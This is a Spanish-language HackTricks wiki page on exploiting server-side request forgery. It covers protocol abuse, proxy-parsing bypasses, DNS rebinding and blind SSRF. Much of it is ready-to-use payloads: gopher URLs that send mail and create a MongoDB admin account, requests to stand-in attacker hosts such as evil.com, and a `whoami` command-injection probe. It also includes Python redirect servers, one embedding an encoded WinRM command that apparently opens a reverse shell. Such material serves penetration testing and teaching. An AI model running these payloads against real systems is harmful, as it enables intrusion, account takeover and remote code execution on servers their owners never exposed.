SSRF (Server Side Request Forgery)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Una vulnerabilidad de Server-side Request Forgery (SSRF) ocurre cuando un atacante manipula una aplicación del lado del servidor para que haga HTTP requests a un dominio de su elección. Esta vulnerabilidad expone al servidor a peticiones externas arbitrarias dirigidas por el atacante.
Capturar SSRF
Lo primero que necesitas hacer es capturar una interacción SSRF generada por ti. Para capturar una interacción HTTP o DNS puedes usar herramientas como:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Whitelisted Domains Bypass
Normalmente encontrarás que el SSRF solo funciona en ciertos dominios o URL incluidos en una lista blanca. En la página siguiente tienes una compilación de técnicas para intentar eludir esa lista blanca:
Bypass via Open Redirect
Si el servidor está correctamente protegido podrías bypass todas las restricciones explotando un Open Redirect dentro de la página web. Debido a que la página permitirá SSRF al mismo dominio y probablemente seguirá redirects, puedes explotar el Open Redirect para hacer que el servidor acceda a cualquier recurso interno.
Read more here: https://portswigger.net/web-security/ssrf
Protocolos
- file://
- El esquema de URL
file://se menciona, apuntando directamente a/etc/passwd:file:///etc/passwd - dict://
- Se describe el esquema de URL DICT para acceder a definiciones o listas de palabras mediante el protocolo DICT. El ejemplo ilustra una URL construida que apunta a una palabra específica, base de datos y número de entrada, así como un caso de un script PHP que podría utilizarse para conectar a un servidor DICT con credenciales proporcionadas por el atacante:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- Identificado como un protocolo para transferencia de archivos segura sobre secure shell, se muestra un ejemplo de cómo un script PHP podría explotarse para conectarse a un servidor SFTP malicioso:
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol, que opera sobre UDP, se menciona con un ejemplo de un script PHP diseñado para enviar una petición a un servidor TFTP. Se realiza una petición TFTP a ‘generic.com’ en el puerto ‘12346’ para el archivo ‘TESTUDPPACKET’:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- Este apartado trata el Lightweight Directory Access Protocol, enfatizando su uso para gestionar y acceder a servicios de información de directorios distribuidos sobre redes IP. Interactuar con un servidor LDAP en localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- Se describe un método para explotar vulnerabilidades SSRF para interactuar con servicios SMTP en localhost, incluyendo pasos para revelar nombres de dominio internos y acciones investigativas adicionales basadas en esa información.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Si el SSRF es ejecutado por curl, curl tiene una característica llamada URL globbing que podría ser útil para bypass WAFs. Por ejemplo en esta writeup puedes encontrar este ejemplo para un path traversal via
fileprotocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación con el servidor, junto con herramientas como Gopherus y remote-method-guesser para crear payloads. Se ilustran dos usos distintos:
Gopher://
Usando este protocolo puedes especificar la IP, puerto y bytes que quieres que el servidor envíe. Entonces, básicamente puedes explotar una SSRF para comunicarte con cualquier servidor TCP (pero necesitas saber cómo hablar con el servicio primero).
Afortunadamente, puedes usar Gopherus para crear payloads para varios servicios. Además, remote-method-guesser puede usarse para crear gopher payloads para servicios Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Conexión inversa a 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – Crear usuario con username=admin con password=admin123 y con permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Others
El software de análisis en servidores suele registrar el Referrer header para rastrear enlaces entrantes, una práctica que expone inadvertidamente a las aplicaciones a vulnerabilidades de Server-Side Request Forgery (SSRF). Esto se debe a que dicho software puede visitar URLs externas mencionadas en el Referrer header para analizar el contenido del sitio de referencia. Para descubrir estas vulnerabilidades, se recomienda el plugin de Burp Suite “Collaborator Everywhere”, aprovechando la forma en que las herramientas de análisis procesan el Referer header para identificar posibles superficies de ataque SSRF.
SSRF via SNI data from certificate
Una mala configuración que podría permitir la conexión a cualquier backend mediante una configuración sencilla se ilustra con un ejemplo de configuración de Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
En esta configuración, el valor del campo Server Name Indication (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a Server-Side Request Forgery (SSRF), que puede explotarse simplemente especificando la dirección IP o el nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como internal.host.com, usando el comando openssl:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF vía TLS AIA CA Issuers (Java mTLS)
Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.
- Requisitos: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
- Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
The Java certpath debug output shows CertStore URI:http://localhost:8080, and nc captures the HTTP request with the controllable User-Agent from -Dhttp.agent, proving SSRF during certificate validation.
- DoS via file://: setting AIA CA Issuers to
file:///dev/urandomon Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.
SSRF vía CSS Pre-Processors
LESS es un preprocesador CSS popular que añade variables, mixins, funciones y la potente directiva @import. Durante la compilación el motor LESS fetchará los recursos referenciados en las sentencias @import y embederá (“inline”) sus contenidos en el CSS resultante cuando se use la opción (inline).
Check how to exploit it in:
Wget file upload
SSRF con Command Injection
Podría valer la pena probar un payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderizado de PDFs
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.
De SSRF a DoS
Crea varias sesiones e intenta descargar archivos pesados explotando el SSRF desde las sesiones.
Funciones PHP vulnerables para SSRF
Check the following page for vulnerable PHP and even Wordpress functions:
SSRF Redirect to Gopher
For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Proxies mal configurados para SSRF
Trucos from this post.
Flask
Código vulnerable del proxy de Flask
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask permite usar **`@`** como carácter inicial, lo que permite convertir el **nombre de host inicial en el nombre de usuario** e inyectar uno nuevo. Petición de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Código vulnerable:
.png)
Se descubrió que es posible iniciar la ruta de una petición con el carácter ;, lo que permite usar después @ e inyectar un nuevo host al que acceder. Petición de ataque:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Servidor web integrado de PHP
Código PHP vulnerable
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP permite el uso del **carácter `*` antes de una barra en el path** de la URL; sin embargo, tiene otras limitaciones, como que solo puede usarse para el pathname raíz `/` y que los puntos `.` no están permitidos antes de la primera barra, por lo que es necesario usar, por ejemplo, una dirección IP codificada en hex sin puntos (dotless-hex):
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Reverse proxies que aceptan absolute URLs en la request line (open forward-proxy)
Algunos reverse proxies también aceptan absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) y reenvían la URL tal cual a un backend en lugar de rechazarla o reescribirla al upstream configurado. Esto convierte al reverse proxy en un pre-auth forward proxy with full-read SSRF, incluyendo acceso a servicios ligados a localhost que normalmente serían inalcanzables desde Internet.
Puntos clave:
- Request line controls destination: la autoridad en la absolute URL anula el enrutamiento normal; el
Hostheader suele ser ignorado. - Full response returned: las respuestas de hosts internos se transmiten de vuelta, por lo que puedes enumerar e interactuar (p. ej., SOAP/Axis2, Keycloak, consolas de administración) en lugar de sondear a ciegas.
- Works on localhost:
GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\nes suficiente para alcanzar listeners accesibles sólo desde loopback. - Abuse as pivot: combínalo con otras vulns (p. ej., upload endpoints) para alcanzar servicios intra-host.
Sondeo mínimo:
GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close
Si ves la respuesta upstream en lugar de un 400, el appliance está actuando como un open proxy.
DNS Rebidding CORS/SOP bypass
Si tienes problemas para exfiltrar contenido desde una IP local debido a CORS/SOP, DNS Rebidding puede usarse para eludir esa limitación:
CORS - Misconfigurations & Bypass
Automated DNS Rebidding
Singularity of Origin es una herramienta para realizar ataques de DNS rebinding. Incluye los componentes necesarios para rebindear la dirección IP del nombre DNS del servidor atacante a la IP de la máquina objetivo y para servir payloads de ataque que exploten software vulnerable en la máquina objetivo.
Consulta también el servidor públicamente en funcionamiento en http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Requirements:
- SSRF
- Outbound TLS sessions
- Stuff on local ports
Attack:
- Pide al usuario/bot que aceda a un dominio controlado por el atacante
- El TTL del DNS es 0 seg (así la víctima volverá a comprobar la IP del dominio pronto)
- Se crea una conexión TLS entre la víctima y el dominio del atacante. El atacante introduce el payload dentro del Session ID o Session Ticket.
- El dominio iniciará un bucle infinito de redirecciones contra sí mismo. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice nuevamente una petición DNS del dominio.
- En la petición DNS se da ahora una IP privada (127.0.0.1 por ejemplo)
- El usuario/bot intentará restablecer la conexión TLS y, para ello, enviará el Session ID/Ticket (donde estaba contenido el payload del atacante). Así que felicidades: lograste que el usuario/bot se ataque a sí mismo.
Ten en cuenta que durante este ataque, si quieres atacar localhost:11211 (memcache) necesitas hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el puerto debe ser siempre el mismo).
Para realizar este ataque puedes usar la herramienta: https://github.com/jmdx/TLS-poison/
Para más información echa un vistazo a la charla donde se explica este ataque: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
La diferencia entre un blind SSRF y uno no blind es que en el blind no puedes ver la respuesta de la petición SSRF. Por tanto, es más difícil de explotar porque sólo podrás explotar vulnerabilidades bien conocidas.
Time based SSRF
Comprobando el tiempo de las respuestas del servidor podría ser posible saber si un recurso existe o no (quizá toma más tiempo acceder a un recurso existente que a uno que no existe)
From blind to full abusing status codes
Según este blog post, algunos blind SSRF pueden ocurrir porque incluso si la URL objetivo responde con un código 200 (como AWS metadata), esos datos no están correctamente formateados y por lo tanto la app puede negarse a mostrarlos.
Sin embargo, se ha descubierto que enviando algunas respuestas de redirección de 305 a 309 en el SSRF podría ser posible hacer que la aplicación siga estas redirecciones mientras entra en un modo de error que deja de comprobar el formato de los datos y podría simplemente imprimirlos.
El servidor python usado para explotar esto es el siguiente:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Pasos:
- Primero un 302 hace que la app empiece a seguir.
- Luego recibe 305 → 306 → 307 → 308 → 309 → 310.
- Tras el quinto código extraño el PoC finalmente devuelve 302 → 169.254.169.254 → 200 OK.
Qué pasa dentro del objetivo:
- libcurl en sí sí sigue 305–310; simplemente normaliza códigos desconocidos a “seguir”.
- Después de N redirecciones raras (≥ 5 aquí) el propio wrapper de la aplicación decide “algo no va bien” y cambia a un modo de error pensado para debugging.
- En ese modo vuelca toda la cadena de redirecciones más el cuerpo final de vuelta al caller externo.
- Resultado: attacker ve todos los headers + el metadata JSON, misión cumplida.
Ten en cuenta que esto es interesante para leak status codes que no podías leakear antes (como un 200). Sin embargo, si de alguna manera también pudieras seleccionar el status code de la respuesta (imagina que puedes decidir que el AWS metadata responde con un status 500), podría haber algunos status codes que filtren directamente el contenido de la respuesta.
Renderizadores HTML-to-PDF como blind SSRF gadgets
Librerías como TCPDF (y wrappers como spipu/html2pdf) recuperarán automáticamente cualquier URL presente en HTML controlado por el attacker mientras renderizan un PDF. Cada atributo <img> o <link rel="stylesheet"> se resuelve del lado del servidor vía cURL, getimagesize(), o file_get_contents(), así que puedes forzar al PDF worker a sondear hosts internos aunque ninguna respuesta HTTP se refleje hacia ti.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 realiza varios intentos de recuperación por cada recurso
<img>, por lo que una sola payload puede generar múltiples requests (útil para escaneos de puertos basados en timing). - html2pdf copia el comportamiento de TCPDF para
<img>y añade la obtención de CSS dentro deCss::extractStyle(), que simplemente llama afile_get_contents($href)tras una comprobación superficial del esquema. Abúsalo para alcanzar servicios loopback, rangos RFC1918 o cloud metadata endpoints. - Combina esta primitiva SSRF con los HTML-to-PDF path traversal tricks para leak tanto respuestas HTTP internas como archivos locales renderizados en el PDF.
Quienes realicen hardening deberían eliminar URLs externas antes de renderizar o aislar el renderizador en un sandbox de red; hasta entonces, trata a los generadores de PDF como proxies SSRF ciegos.
Explotación SSRF en la nube
Si encuentras una vulnerabilidad SSRF en una máquina que corre dentro de un entorno cloud, podrías obtener información interesante sobre el entorno cloud e incluso credenciales:
Plataformas vulnerables a SSRF
Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF; revísalas en:
Herramientas
SSRFMap
Tool to detect and exploit SSRF vulnerabilities
Gopherus
Esta herramienta genera Gopher payloads para:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser es un scanner de vulnerabilidades de Java RMI que soporta operaciones de ataque para las vulnerabilidades más comunes de Java RMI. La mayoría de las operaciones disponibles soportan la opción --ssrf, para generar un payload SSRF para la operación solicitada. Junto con la opción --gopher, se pueden generar directamente payloads gopher listos para usar.
SSRF Proxy
SSRF Proxy es un servidor proxy HTTP multihilo diseñado para tunelizar tráfico HTTP de clientes a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).
Para practicar
Referencias
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


